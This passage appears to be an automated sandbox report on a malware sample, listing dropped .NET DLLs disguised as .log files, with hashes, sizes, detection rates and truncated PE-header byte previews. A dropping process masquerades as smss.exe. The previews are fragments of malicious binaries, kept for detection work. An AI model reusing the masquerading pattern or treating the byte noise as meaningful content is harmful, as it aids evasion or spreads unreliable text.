                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\MVHIsMFX.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.629584586954759
                                                    Encrypted:false
                                                    SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                    MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                    SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                    SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                    SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\MeAtuRrv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 25%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\MeqbWvgd.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\NJLRdZBV.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 12%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\OWjhYWSe.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\OaDBDTBH.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\OkIkBytc.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 25%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\OnvJYDSq.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 71%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\OtVRNOBH.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\OyuueWqt.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\PDpiExgk.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\PFbaDAKS.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\PNLtijlY.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\PUhSdrgW.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\PdOklALl.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\PiduemoF.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\QMxzzIGQ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\QpirumWl.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):46592
                                                    Entropy (8bit):5.870612048031897
                                                    Encrypted:false
                                                    SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                    MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                    SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                    SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                    SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\RPxbDTqT.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\RPyQJTEc.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\RfECAmDA.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
